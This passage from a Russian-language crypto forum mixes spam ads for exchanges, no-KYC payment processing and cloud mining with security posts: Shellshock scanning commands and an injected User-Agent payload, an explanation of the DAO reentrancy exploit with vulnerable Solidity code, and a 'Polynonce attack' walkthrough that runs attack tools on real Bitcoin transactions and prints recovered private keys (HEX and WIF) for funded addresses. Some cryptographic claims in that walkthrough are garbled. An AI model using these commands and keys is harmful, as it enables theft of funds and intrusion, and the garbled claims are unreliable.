атакован. Они не защитят вас от атаки, использующей данную уязвимость, но отразят в журнале действия атакующей стороны в вашей системе. │ ├── autor.json │ ├── config.json │ ├── exploits.json │ └── prints │ ├── banner.png │ ├── print01.png │ ├── print02.png │ └── print03.png ├── main.py ├── modules │ ├── banner_shock.py │ ├── color_shock.py │ ├── file_shock.py │ ├── __init__.py │ ├── request_shock.py │ ├── shodan_shock.py │ └── thread_shock.py ├── output │ └── vuln.txt ├── README.md └── wordlist └── cgi.txt Насколько серьезна данная угроза? Угроза действительно серьезна, но не каждая система является уязвимой. Так, для успешной атаки на веб-сервер требуется выполнение ряда условий. Одной из самих больших проблем сейчас является то, что после публикации патчей исследователи начинают искать другие способы эксплуатации среды bash, анализировать различные условия, делающие эксплуатацию возможной, и т.п. В связи с этим патч, защищающий от удаленного выполнения кода, никак не сможет предотвратить, например, перезапись файла. По всей видимости, в будущем будет опубликован целый ряд патчей, а до тех пор системы будут оставаться уязвимыми. Это новый Heartbleed? По сравнению с Heartbleed эту уязвимость гораздо легче эксплуатировать. Кроме того, в случае Heartbleed киберпреступник мог только похитить данные из памяти в надежде на то, что среди них встретится что-нибудь стоящее, в то время как уязвимость bash делает возможным полный контроль над системой. Такие образом, она представляется намного более опасной, чем Heartbleed. Может ли эта уязвимость в будущем быть использована для проведения APT-атак? Конечно, в будущем эта уязвимость может быть использована для разработки вредоносных программ. Могут появиться вредоносные программы, автоматически проверяющие атакуемую инфраструктуру на наличие данной уязвимости, с целью дальнейшего заражения системы или проведения других видов атак. Эта уязвимость связана с функцией «экспорта функций» bash . Команда экспорта используется для экспорта переменной или функции в среду всех дочерних процессов, работающих в текущей оболочке. Эта функция «экспорта функций» реализуется путем кодирования сценариев в таблице, которая является общей для всех экземпляров и называется списком переменных среды. Хотя Bash не является службой, подключенной к Интернету, многие сетевые и интернет-службы используют переменные среды для связи с ОС сервера. Если эти переменные среды не очищаются перед выполнением, злоумышленник может отправлять команды через HTTP-запросы и выполнять их операционной системой сервера. Векторы эксплуатации: Веб-сервер на основе CGI OpenSSH-сервер DHCP-клиенты Qmail-сервер Ограниченная оболочка IBM HMC Веб-сервер на основе CGI: CGI означает «Общий интерфейс шлюза» и используется для обработки запросов документов. Когда определенный объем информации копируется из запроса в список переменных среды и если этот запрос делегируется программой-обработчиком, которая представляет собой сценарий bash, тогда bash получит переменные среды, переданные сервером, и обработает их. Это дает злоумышленнику возможность активировать уязвимость Shellshock с помощью специально созданного запроса документа. Nmap : You can use this two commands to find whether the target website is vulnerable to Shellshock or not. nmap -sV -p- --script http-shellshock <target> nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls <target> CGI использует bash в качестве обработчика запросов по умолчанию, и эта атака не требует какой-либо аутентификации, поэтому большая часть атак происходит на страницах CGI с целью использования этой уязвимости. CGI-скрипты могут быть чрезвычайно опасны, если их тщательно не проверять. PORT STATE SERVICE REASON 80/tcp open http syn-ack | http-shellshock: | VULNERABLE: | HTTP Shellshock vulnerability | State: VULNERABLE (Exploitable) | IDs: CVE:CVE-2014-6271 | This web application might be affected by the vulnerability known as Shellshock. It seems the server | is executing commands injected via malicious HTTP headers. | | Disclosure date: 2014-09-24 | References: | http://www.openwall.com/lists/oss-security/2014/09/24/10 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169 | http://seclists.org/oss-sec/2014/q3/685 |_ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271 2. Сервер OpenSSH: OpenSSH также известен как OpenBSD Secure Shell. Это набор безопасных сетевых утилит, основанных на протоколе SSH, который обеспечивает безопасный канал через незащищенную сеть в архитектуре клиент-сервер. OpenSSH имеет функцию «ForceCommand» , при которой при входе пользователя в систему выполняется фиксированная команда, а не просто запуск неограниченной командной оболочки. Фиксированная команда выполняется, даже если пользователь указал, что должна быть запущена другая команда; в этом случае исходная команда помещается в переменную среды «SSH_ORIGINAL_COMMAND» . Когда принудительная команда запускается в оболочке Bash, оболочка Bash анализирует переменную среды SSH_ORIGINAL_COMMAND при запуске и запускает встроенные в нее команды. Пользователь использовал свой ограниченный доступ к оболочке, чтобы получить неограниченный доступ к оболочке, используя ошибку Shellshock. 3. DHCP-клиенты: DHCP означает протокол динамической конфигурации хоста. Это протокол управления сетью, используемый в сетях Интернет-протокола, при котором DHCP-сервер динамически назначает IP-адрес и другие параметры конфигурации сети каждому устройству в сети, чтобы они могли взаимодействовать с другими IP-сетями. Некоторые клиенты DHCP также могут передавать команды Bash; уязвимая система может быть атакована при подключении к открытой сети Wi-Fi. Клиент DHCP обычно запрашивает и получает IP-адрес от сервера DHCP, но ему также может быть предоставлен ряд дополнительных опций. В одном из этих вариантов вредоносный DHCP-сервер может предоставить строку, предназначенную для выполнения кода на уязвимой рабочей станции или ноутбуке. 4. Сервер Qmail: Qmail — это агент передачи почты, работающий в Unix. Он был написан в декабре 1995 года Дэниелом Дж. Бернштейном как более безопасная замена популярной программы Sendmail. При использовании Bash для обработки сообщений электронной почты (например, через канал .forward или qmail-alias) почтовый сервер qmail передает внешние входные данные таким образом, что можно использовать уязвимую версию Bash. Checking for CGI scripts 5. Ограниченная оболочка IBM HMC: Ограниченная оболочка — это оболочка Unix, которая ограничивает некоторые возможности, доступные интерактивному сеансу пользователя или сценарию оболочки, выполняющемуся в ней. Он предназначен для обеспечения дополнительного уровня безопасности, но его недостаточно для запуска полностью ненадежного программного обеспечения. Эту ошибку можно использовать для получения доступа к Bash из ограниченной оболочки IBM Hardware Management Console , крошечного варианта Linux для системных администраторов. IBM выпустила исправление для решения этой проблемы. Векторы атаки Shellshock? Когда вы отправляете запрос и когда этот запрос получен сервером, есть три части запроса, которые могут быть уязвимы для атаки Shellshock. Запрошенный URL Заголовки в запросах (например, пользовательский агент, реферер и т. д.) Аргументы в запросах (например, имя, идентификатор и т. д.) Уязвимость Shellshock обычно возникает, когда злоумышленник изменяет исходный HTTP-запрос, чтобы он содержал магический () { :; }; нить. Предположим, злоумышленник изменил заголовок User-Agent с Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 на просто () { :; }; /bin/извлечь Это создаст следующую переменную внутри веб-сервера: HTTP_USER_AGENT=() { :; }; /bin/извлечь Теперь, если веб-сервер передает эту переменную в bash, возникает уязвимость Shellshock. Вместо того, чтобы рассматривать переменную HTTP_USER_AGENT как последовательность символов, не имеющую особого значения, bash интерпретирует ее как команду, которую необходимо выполнить. Проблема в том, что HTTP_USER_AGENT исходит из заголовка User-Agent , который контролируется злоумышленником, поскольку он поступает на веб-сервер в HTTP-запросе. Литература: SHELLSHOCK ATTACK – Background: Shell Functions [CryptoDeepTech ~ 2023] On the Effectiveness of Full-ASLR on 64-bit Linux [Hector Marco-Gisbert, Ismael Ripoll Universitat Politècnica de València Camino de Vera s/n, 46022 Valencia, Spain 20 November 2014] Shellshock Vulnerability Tudor Enache Tool Xpl SHELLSHOCK Ch3ck – Mass exploitation – The tool inject a malicious user agent that allows exploring the vulnerabildiade sheellshock running server-side commands [sexta-feira ~ 2015]. Bash bug: the other two RCEs, or how we chipped away at the original fix (CVE-2014-6277 and ’78) Bash Vulnerability – Shell Shock – Thousands of cPanel Sites are High Risk [Daniel Cid ~ 2014] Entenda o Shellshock, a falha no Bash tão grave quanto o Heartbleed [RODRIGO GHEDIN~ 2014] Исходный код POLYNONCE ATTACK ATTACKSAFE SOFTWARE Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/fIYYi1kGEnc Источник: https://cryptodeep.ru/shellshock-attack-on-bitcoin Криптоанализ
  8. Мы сделали прием платежей в криптовалютах простым и абсолютно безопасным. Полностью исключена третья сторона и все платежи поступают сразу на ваши кошельки. Почему вам обязательно надо подключить прием крипто платежей через Paysover: Тупо выгодно Нет никаких комиссий Отсутствие проверок, KYC и прочего. Полная безопасность Платежи поступают сразу на ваши собственные кошельки (исключен фактор доверия). Адреса кошельков подгружаются на вашей стороне (исключена подмена). Солидный вид перед клиентом Нет перехода на сторонний сайт. Все действия выполняются прямо на вашем сайте. Нет обязательного брендирования, форму оплаты можно кастомизировать как угодно. Все нужные криптовалюты Основной упор мы делаем на стейблкоины. USDT, USDC, BUSD, DAI, TUSD, USDD и еще 20+ криптовалют в сетях: Ethereum, Binance Smart Chain, Polygon, Arbitrum, Optimism, Solana, Tron. А также классика: BTC, LTC, BCH, DOGE Работаем над интеграцией новых сетей и криптовалют. Легко подключить Подключить сайт, приложение или бот к нашим API не составит особого труда. Также, сейчас мы работаем над созданием плагинов/модулей для различных CMS. Некоторые уже готовы (обращайтесь, предоставим) С плагином подключение и настройка занимает считанные минуты. Шикарная партнерская программа 30% от ваших прямых рефералов, и 50% от дохода приведенных вами партнеров. Плюшки Месяц базового тарифа бесплатно по промо коду: BASE Скидка 70% на премиум тариф по промо коду: PREMIUM Контакты Сайт: https://paysover.com E-mail: paysover@proton.me Telegram: https://t.me/paysover
  9. Доброго времени суток, уважаемые посетители форума! По мере все большего принятия криптовалютного рынка, повышается необходимость обмена цифровых денег на фиат и наоборот, фиата на крипту. И все больше и больше обменников и бирж предлагает свои услуги, желающим купить либо обменять криптовалюту. Но как, учитывая большое количество таких компаний, сделать правильный выбор, не нарвавшись на мошенников и не потеряв деньги из за невыгодного курса? Как правило, каждый обменный пункт имеет свои особенности курсообразования и курс одной и той же валюты может сильно отличаться. Просто забивать в поиске и исследовать сотни курсов, дело непрактичное. Чтобы найти выгодный курс, не потратив на это много времени, используйте мониторинг на wellcrypto.io. Наш ресурс собрал информацию по сотням обменных пунктов и включил в мониторинг только прошедшие проверку обменники. Плюс ко всему, здесь мы собираем отзывы пользователей о работе обменников, включенных в наш список. Для Вашего удобства, обменные пункты отсортированы по наилучшему курсу. Наш ресурс еще достаточно молодой, поэтому функционал добавляется и совершенствуется в процессе. Будем рады обратной информации от Вас! Wellcrypto - знаем где наилучшие курсы криптовалют!
  10. 247 CRYPTO — Надежный обменник криптовалюты, который позволяет безопасно и быстро обменивать фиатные, электронные деньги и криптовалюты. Bitcoin, Ethereum, Tether, Webmoney, Perfect Money, Visa/Master Card — и это далеко не все доступные способы. Список постоянно пополняется новыми направлениями, среди которых обязательно найдется подходящее. Для обмена выберите предпочитаемый способ и укажите сумму обмена. Затем, следуя инструкциям, осуществите обмен. Отзывчивая служба поддержки готова оказать всю необходимую помощь в решении Ваших вопросов. В рамках проекта действует программа лояльности и услуги в рамках партнерской программы, используя преимущества которых вы можете совершать обмен электронных валют на более выгодных условиях. Для этого просто зарегистрируйтесь на сайте. Основные преимущества 247 Crypto: ♦ Безопасно, прозрачно, выгодно. ♦ Низкие комиссии. Высокая ликвидность. Круглосуточная доступность. ♦ Удобный интерфейс для начинающих и экспертов. Безопасность, скорость, конфиденциальность один из главных принципов работы обменника. Вы можете быть уверены, что данные не будут переданы третьим лицам, не попадут в руки преступников, не будут опубликованы в открытом доступе, а будут надежно храниться на серверах проекта. Если у вас есть какие либо вопросы, пожалуйста, не стесняйтесь обращаться в службу поддержки проекта. https://247crypto.exchange/ru/?rid=119
  11. CRYPTO DEEP TECH В этой статье мы опять затронем тему: “Критической уязвимости Биткоина” и на всех трех примерах применим совершенно новую атаку 2023 года “POLYNONCE ATTACK”. Самые первые упоминание об этой атаке описано в статье от “Kudelski Security”. https://research.kudelskisecurity.com/2023/03/06/polynonce-a-tale-of-a-novel-ecdsa-attack-and-bitcoin-tears/ За практическую основу мы будем брать материалы из нашей ранней статьи “Speed up secp256k1 with endomorphism” где значения на кривой secp256k1 от Hal Finney LAMBDA и BETA скрываю всю глубину неизвестности эллиптических кривых Биткоина. https://www.rapidtables.com/convert/number/hex-to-binary.html Также нам прекрасно известно, порядок кривой secp256k1 который состоит из 128 bits Binary number (4 digits): “1111” // Hex number: “F” // n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 Speed up secp256k1 with endomorphism За теоретическую основу мы будем брать материалы: “Polynonce Attack on Bitcoin” https://attacksafe.ru/polynonce-attack-on-bitcoin 1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB 929d565c386a279cf7a0382ba48cab1f72d62e7cfb3ab97b4f211d5673bc4441 RawTX 02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000 Загрузим HEX-данные через утилиту echo и сохраним в файл: RawTX.txt !echo '02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000' > RawTX.txt Чтобы реализовать атаку мы воспользуемся программным обеспечение “ATTACKSAFE SOFTWARE” www.attacksafe.ru/software Права доступа: !chmod +x attacksafe ls Применение: !./attacksafe -help -version: software version -list: list of bitcoin attacks -tool: indicate the attack -gpu: enable gpu -time: work timeout -server: server mode -port: server port -open: open file -save: save file -search: vulnerability search -stop: stop at mode -max: maximum quantity in mode -min: minimum quantity per mode -speed: boost speed for mode -range: specific range -crack: crack mode -field: starting field -point: starting point -inject: injection regimen -decode: decoding mode !./attacksafe -version Version 5.3.3. [ATTACKSAFE SOFTWARE, © 2023] Запустим список всех атак: !./attacksafe -list Выберем -tool: polynonce_attack 02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000 Запустим -tool polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool polynonce_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv Для того чтобы рассчитать приватный ключ к Биткоин Кошельку из файла SignatureRSZ.csv мы установим SageMath !wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2 !tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2 cd SageMath/ ls !python3 relocate-once.py !mv '/content/attacksafe' '/content/SageMath/attacksafe' !mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv' ls !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/20PolynonceAttack/crack_weak_ECDSA_nonces_with_LLL.py !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0xf0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example1/POLYNONCE.py Результат: POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 f88ff4c8a9ea4b61b1e087d0c0988826 POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 6849e83cd03d103bcc37aca8323c8d2f POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты 128 bits так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" // Проверим HEX приватного ключа: !pip3 install bitcoin from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d:1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB Откроем bitaddress и проверим: ADDR: 1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB WIF: L5HV2GiosXifcmijGCpFWdYiMRuXh4x4JVK29urGjfAWyasBYoDX HEX: f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d https://www.blockchain.com/en/explorer/addresses/btc/1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB BALANCE: $ 3699.40 Рассмотрим остальные примеры: №2 137a6fqt13bhtAkGZWrgcGM98NLCotszR2 c1da9d117e15883ba41539f558ac870f53865ea00f68a8ff8bc7e8a9ee67099b RawTX 010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000 !rm RawTX.txt !rm NoncesHEX.txt !rm PrivateKey.txt !rm SignatureRSZ.csv !rm PrivateKeyAddr.txt !echo '010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000' > RawTX.txt Запустим -tool polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool polynonce_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0xff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example2/POLYNONCE.py Результат: POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 c5f6da6334586ed2bdc88a05f37bcf95 POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 6f82fbd847c138ab48e778135e908149 POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 5541022f8aeac81e5ce62e018d1cd722 POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 80e88efaff419ecd84d7ded17dc548a7 Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты 128 bits так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" // Проверим HEX приватного ключа: from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем bitaddress и проверим: ADDR: 137a6fqt13bhtAkGZWrgcGM98NLCotszR2 WIF: L5mQfFuzR3rzLtneJ7Tcv64JrHjCpK64UN4JRdGDxCUTbQ8NfHxo HEX: ff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c https://www.blockchain.com/en/explorer/addresses/btc/137a6fqt13bhtAkGZWrgcGM98NLCotszR2 BALANCE: $ 1133.73 Рассмотрим остальные примеры: №3 1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt fa80af660fc444d87853137506df02e5c75e8c2bf75dc44589b60356867a6d98 RawTX 01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000 !rm RawTX.txt !rm NoncesHEX.txt !rm PrivateKey.txt !rm SignatureRSZ.csv !rm PrivateKeyAddr.txt !echo '01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000' > RawTX.txt Запустим -tool polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool polynonce_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0xfbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example3/POLYNONCE.py Результат: POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 fbc50a7158b3d9fd7fd58fe0874f20c1 POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 d4de8d539655ecf0d50fd32187c3c467 POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 6726aea1a6fd64d82dc657670352de72 POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 89df16fd387156b39adca9a92464de18 Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты 128 bits так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" // Проверим HEX приватного ключа: from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем bitaddress и проверим: ADDR: 1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt WIF: L5f7p5bReuXLm3d7rFkpPyGQ1GNpiGuj8QuQ6rNCKXC9bs3J9GEY HEX: fbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf https://www.blockchain.com/en/explorer/addresses/btc/1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt BALANCE: $ 459.24 Literature: A Novel Related Nonce Attack for ECDSA, Marco Macchetti [Kudelski Security, Switzerland] (2023) Gallant, Robert P., Robert J. Lambert, and Scott A. Wanston. “Faster point multiplication on elliptic curves with efficient endomorphisms” . Annual International Conference on Cryptology, pp. 190–200. Springer, Berlin, Heidelberg, (2001) Hankerson, Darrell, Alfred J. Menezes, and Scott Wanston. “A Guide to Elliptic Curve Cryptography” . Computer Reviews 46, no. 1 (2005) Hal Finney. bitcointalk – “Acceleration of signature verification” . (2011) https://bitcointalk.org/index.php?topic=3238.0 Blahut, Richard E. “Cryptography and Secure Communication” . Cambridge University Press, (2014) Исходный код ATTACKSAFE SOFTWARE Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/7nKs_KHtyn4 Источник: https://cryptodeep.ru/polynonce-attack Криптоанализ
  12. Здравствуйте уважаемые посетители форума! Хотим представить Вам мониторинг обмена криптовалют kurses.com.ua и вкратце рассказать о нем: 1. Сайт существует уже 7 лет. 2. Мониторятся такие криптовалюты: Bitcoin, Dash, Dogecoin, Edrcoin, Ethereum, Litecoin и Peercoin. 3. Жесткие правила отбора обменников не допускают сайты со скрытыми комиссиями и неточными данными (в пределах погрешности). 4. Есть черный список фальшивых обменников и специальное расширение для браузера, связанное с этим черным списком. 5. Поддержка сайта осуществляется на нескольких языках. Будем рады видеть Вас среди наших постоянных посетителей сервиса! С уважением, администрация сервиса.
  13. Облачный майнинг. Как это работает? Представляет собой он добычу криптовалют, путем аренды мощностей без покупки собственного оборудования для майнинга, что сильно упрощает сам процесс. Ведь в этом случае, вам: ‒ не нужно тратить огромные деньги на закупку специального оборудования, ‒ не нужно заниматься вопросом его размещения, ‒ не нужно нести дополнительных трат за электроэнергию, Вы просто платите фиксированную сумму за пользование чужими видеокартами или процессорами! Тем более тут есть профессионалы, которые подскажут и помогут в этом разобраться. Если вникнуть более глубже во внутренние процессы то, суть майнинга заключается в том, чтобы «найти» или «добыть» новый блок крипты путем ресурсоемких вычислений, где каждый перевод в сети подтверждается и записывается в блок, который затем добавляется в единую «цепочку» (блокчейн). Эти вычисления одновременно производят наши майнеры на специальном оборудовании. Вконтакте: https://vk.com/club219247932 Сайт: https://mining-digital.pro
  14. CRYPTO DEEP TECH In this article, we will look at a bug in the DAO code. The hacker exploited a bug in the code of the DAO and stole more or less $50 million worth of ether. I will focus here only on the main technical issue of the exploit: The fallback function. For a more detailed and advanced recount of the attack, the blog posts by Phil Daian and Peter Vessenes are highly recommended. This post will be the first in what is potentially a series, deconstructing and explaining what went wrong at the technical level while providing a timeline tracing the actions of the attacker back through the blockchain. This first post will focus on how exactly the attacker stole all the money in the DAO. A Multi-Stage Attack This exploit in the DAO is clearly not trivial; the exact programming pattern that made the DAO vulnerable was not only known, but fixed by the DAO creators themselves in an earlier intended update to the framework’s code. Ironically, as they were writing their blog posts and claiming victory, the hacker was preparing and deploying an exploit that targeted the same function they had just fixed to drain the DAO of all its funds. Let’s get into the overview of the attack. The attacker was analyzing DAO.sol, and noticed that the ‘splitDAO’ function was vulnerable to the recursive send pattern we’ve described above: this function updates user balances and totals at the end, so if we can get any of the function calls before this happens to call splitDAO again, we get the infinite recursion that can be used to move as many funds as we want (code comments are marked with XXXXX, you may have to scroll to see em): function splitDAO( uint _proposalID, address _newCurator ) noEther onlyTokenholders returns (bool _success) { ... // XXXXX Move ether and assign new Tokens. Notice how this is done first! uint fundsToBeMoved = (balances[msg.sender] * p.splitData[0].splitBalance) / p.splitData[0].totalSupply; if (p.splitData[0].newDAO.createTokenProxy.value(fundsToBeMoved)(msg.sender) == false) // XXXXX This is the line the attacker wants to run more than once throw; ... // Burn DAO Tokens Transfer(msg.sender, 0, balances[msg.sender]); withdrawRewardFor(msg.sender); // be nice, and get his rewards // XXXXX Notice the preceding line is critically before the next few totalSupply -= balances[msg.sender]; // XXXXX AND THIS IS DONE LAST balances[msg.sender] = 0; // XXXXX AND THIS IS DONE LAST TOO paidOut[msg.sender] = 0; return true; } The basic idea is this: propose a split. Execute the split. When the DAO goes to withdraw your reward, call the function to execute a split before that withdrawal finishes. The function will start running without updating your balance, and the line we marked above as “the attacker wants to run more than once” will run more than once. What does that do? Well, the source code is in TokenCreation.sol, and it transfers tokens from the parent DAO to the child DAO. Basically the attacker is using this to transfer more tokens than they should be able to into their child DAO. How does the DAO decide how many tokens to move? Using the balances array of course: uint fundsToBeMoved = (balances[msg.sender] * p.splitData[0].splitBalance) / p.splitData[0].totalSupply; Because p.splitData[0] is going to be the same every time the attacker calls this function (it’s a property of the proposal p, not the general state of the DAO), and because the attacker can call this function from withdrawRewardFor before the balances array is updated, the attacker can get this code to run arbitrarily many times using the described attack, with fundsToBeMoved coming out to the same value each time. The first thing the attacker needed to do to pave the way for his successful exploit was to have the withdraw function for the DAO, which was vulnerable to the critical recursive send exploit, actually run. Let’s look at what’s required to make that happen in code (from DAO.sol): function withdrawRewardFor(address _account) noEther internal returns (bool _success) { if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) throw; uint reward = (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account]; if (!rewardAccount.payOut(_account, reward)) // XXXXX vulnerable throw; paidOut[_account] += reward; return true; } If the hacker could get the first if statement to evaluate to false, the statement marked vulnerable would run. When that statements runs, code that looks like this would be called: function payOut(address _recipient, uint _amount) returns (bool) { if (msg.sender != owner || msg.value > 0 || (payOwnerOnly && _recipient != owner)) throw; if (_recipient.call.value(_amount)()) { // XXXXX vulnerable PayOut(_recipient, _amount); return true; } else { return false; } Notice how the marked line is exactly the vulnerable code mentioned in the description of the 